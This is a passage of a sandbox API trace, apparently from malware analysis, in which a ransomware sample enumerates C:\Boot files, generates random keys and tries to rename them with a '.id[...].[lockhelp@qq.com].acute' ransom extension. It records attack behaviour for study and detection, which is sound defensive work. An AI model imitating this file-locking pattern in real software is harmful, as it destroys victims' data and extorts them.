pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0272.516] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\BCD.LOG2" (normalized: "c:\\boot\\bcd.log2"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0272.516] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=0) returned 1 [0272.516] CloseHandle (hObject=0x324) returned 1 [0272.516] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0272.516] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0272.517] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=89168) returned 1 [0272.517] CloseHandle (hObject=0x324) returned 1 [0272.517] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui")) returned 0x20 [0272.517] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\cs-CZ\\bootmgr.exe.mui.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.517] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.517] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0272.517] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0272.517] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=87616) returned 1 [0272.517] CloseHandle (hObject=0x324) returned 1 [0272.517] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui")) returned 0x20 [0272.517] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\da-DK\\bootmgr.exe.mui.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.517] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.517] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0272.517] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0272.518] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=91712) returned 1 [0272.518] CloseHandle (hObject=0x324) returned 1 [0272.518] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui")) returned 0x20 [0272.518] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\de-DE\\bootmgr.exe.mui.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.518] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.518] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0272.518] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0272.518] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=94800) returned 1 [0272.518] CloseHandle (hObject=0x324) returned 1 [0272.518] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui")) returned 0x20 [0272.518] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\el-GR\\bootmgr.exe.mui.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.518] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.518] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0272.518] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\en-US\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0272.519] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=85056) returned 1 [0272.519] CloseHandle (hObject=0x324) returned 1 [0272.519] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\en-US\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui")) returned 0x20 [0272.519] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\en-US\\bootmgr.exe.mui.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.519] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\en-US\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.519] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0272.519] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\en-US\\memtest.exe.mui" (normalized: "c:\\boot\\en-us\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0272.519] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=43600) returned 1 [0272.519] CloseHandle (hObject=0x324) returned 1 [0272.519] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\en-US\\memtest.exe.mui" (normalized: "c:\\boot\\en-us\\memtest.exe.mui")) returned 0x20 [0272.519] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\en-US\\memtest.exe.mui.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\boot\\en-us\\memtest.exe.mui.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.519] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\en-US\\memtest.exe.mui" (normalized: "c:\\boot\\en-us\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.519] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0272.519] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\es-ES\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0272.519] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=90192) returned 1 [0272.519] CloseHandle (hObject=0x324) returned 1 [0272.519] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\es-ES\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui")) returned 0x20 [0272.520] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\es-ES\\bootmgr.exe.mui.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.520] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\es-ES\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.520] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0272.520] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\fi-FI\\bootmgr.exe.mui" (normalized: "c:\\boot\\fi-fi\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0272.520] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=89152) returned 1 [0272.520] CloseHandle (hObject=0x324) returned 1 [0272.520] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\fi-FI\\bootmgr.exe.mui" (normalized: "c:\\boot\\fi-fi\\bootmgr.exe.mui")) returned 0x20 [0272.520] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\fi-FI\\bootmgr.exe.mui.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\boot\\fi-fi\\bootmgr.exe.mui.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.520] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\fi-FI\\bootmgr.exe.mui" (normalized: "c:\\boot\\fi-fi\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.521] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0272.521] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0272.521] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=3694080) returned 1 [0272.521] CloseHandle (hObject=0x324) returned 1 [0272.521] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf")) returned 0x20 [0272.521] MoveFileW (lpExistingFileName="\\\\?\\C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf"), lpNewFileName="\\\\?\\C:\\Boot\\Fonts\\chs_boot.ttf.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\boot\\fonts\\chs_boot.ttf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0272.521] MoveFileW (lpExistingFileName="\\\\?\\C:\\Boot\\Fonts\\chs_boot.ttf.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\boot\\fonts\\chs_boot.ttf.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf")) returned 0 [0272.521] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0272.521] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0272.525] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=3876772) returned 1 [0272.525] CloseHandle (hObject=0x324) returned 1 [0272.525] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf")) returned 0x20 [0272.525] MoveFileW (lpExistingFileName="\\\\?\\C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf"), lpNewFileName="\\\\?\\C:\\Boot\\Fonts\\cht_boot.ttf.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\boot\\fonts\\cht_boot.ttf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0272.525] MoveFileW (lpExistingFileName="\\\\?\\C:\\Boot\\Fonts\\cht_boot.ttf.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\boot\\fonts\\cht_boot.ttf.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf")) returned 0 [0272.525] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0272.525] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0272.525] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=1984228) returned 1 [0272.526] CloseHandle (hObject=0x324) returned 1 [0272.526] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf")) returned 0x20 [0272.526] MoveFileW (lpExistingFileName="\\\\?\\C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf"), lpNewFileName="\\\\?\\C:\\Boot\\Fonts\\jpn_boot.ttf.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0272.526] MoveFileW (lpExistingFileName="\\\\?\\C:\\Boot\\Fonts\\jpn_boot.ttf.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf")) returned 0 [0272.526] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0272.526] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0272.526] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=2371360) returned 1 [0272.526] CloseHandle (hObject=0x324) returned 1 [0272.526] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf")) returned 0x20 [0272.526] MoveFileW (lpExistingFileName="\\\\?\\C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf"), lpNewFileName="\\\\?\\C:\\Boot\\Fonts\\kor_boot.ttf.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\boot\\fonts\\kor_boot.ttf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0272.526] MoveFileW (lpExistingFileName="\\\\?\\C:\\Boot\\Fonts\\kor_boot.ttf.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\boot\\fonts\\kor_boot.ttf.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf")) returned 0 [0272.526] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0272.526] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\wgl4_boot.ttf" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0272.526] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=47452) returned 1 [0272.526] CloseHandle (hObject=0x324) returned 1 [0272.527] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\wgl4_boot.ttf" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf")) returned 0x20 [0272.527] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\wgl4_boot.ttf.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.527] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\wgl4_boot.ttf" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.527] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0272.527] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\fr-FR\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0272.527] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=93248) returned 1 [0272.527] CloseHandle (hObject=0x324) returned 1 [0272.527] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\fr-FR\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui")) returned 0x20 [0272.527] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\fr-FR\\bootmgr.exe.mui.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.527] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\fr-FR\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.527] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0272.527] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\hu-HU\\bootmgr.exe.mui" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0272.527] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=90688) returned 1 [0272.527] CloseHandle (hObject=0x324) returned 1 [0272.527] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\hu-HU\\bootmgr.exe.mui" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui")) returned 0x20 [0272.527] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\hu-HU\\bootmgr.exe.mui.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.527] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\hu-HU\\bootmgr.exe.mui" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.528] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0272.528] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\it-IT\\bootmgr.exe.mui" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0272.528] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=90704) returned 1 [0272.528] CloseHandle (hObject=0x324) returned 1 [0272.528] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\it-IT\\bootmgr.exe.mui" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui")) returned 0x20 [0272.528] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\it-IT\\bootmgr.exe.mui.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.528] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\it-IT\\bootmgr.exe.mui" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.528] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0272.528] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ja-JP\\bootmgr.exe.mui" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0272.528] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=76352) returned 1 [0272.528] CloseHandle (hObject=0x324) returned 1 [0272.528] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ja-JP\\bootmgr.exe.mui" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui")) returned 0x20 [0272.528] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ja-JP\\bootmgr.exe.mui.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.528] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ja-JP\\bootmgr.exe.mui" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.529] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0272.529] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ko-KR\\bootmgr.exe.mui" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0272.529] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=75344) returned 1 [0272.529] CloseHandle (hObject=0x324) returned 1 [0272.529] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ko-KR\\bootmgr.exe.mui" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui")) returned 0x20 [0272.529] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ko-KR\\bootmgr.exe.mui.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.529] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ko-KR\\bootmgr.exe.mui" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.529] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0272.529] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\memtest.exe" (normalized: "c:\\boot\\memtest.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0272.529] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=485760) returned 1 [0272.529] CloseHandle (hObject=0x324) returned 1 [0272.529] GetFileAttributesW 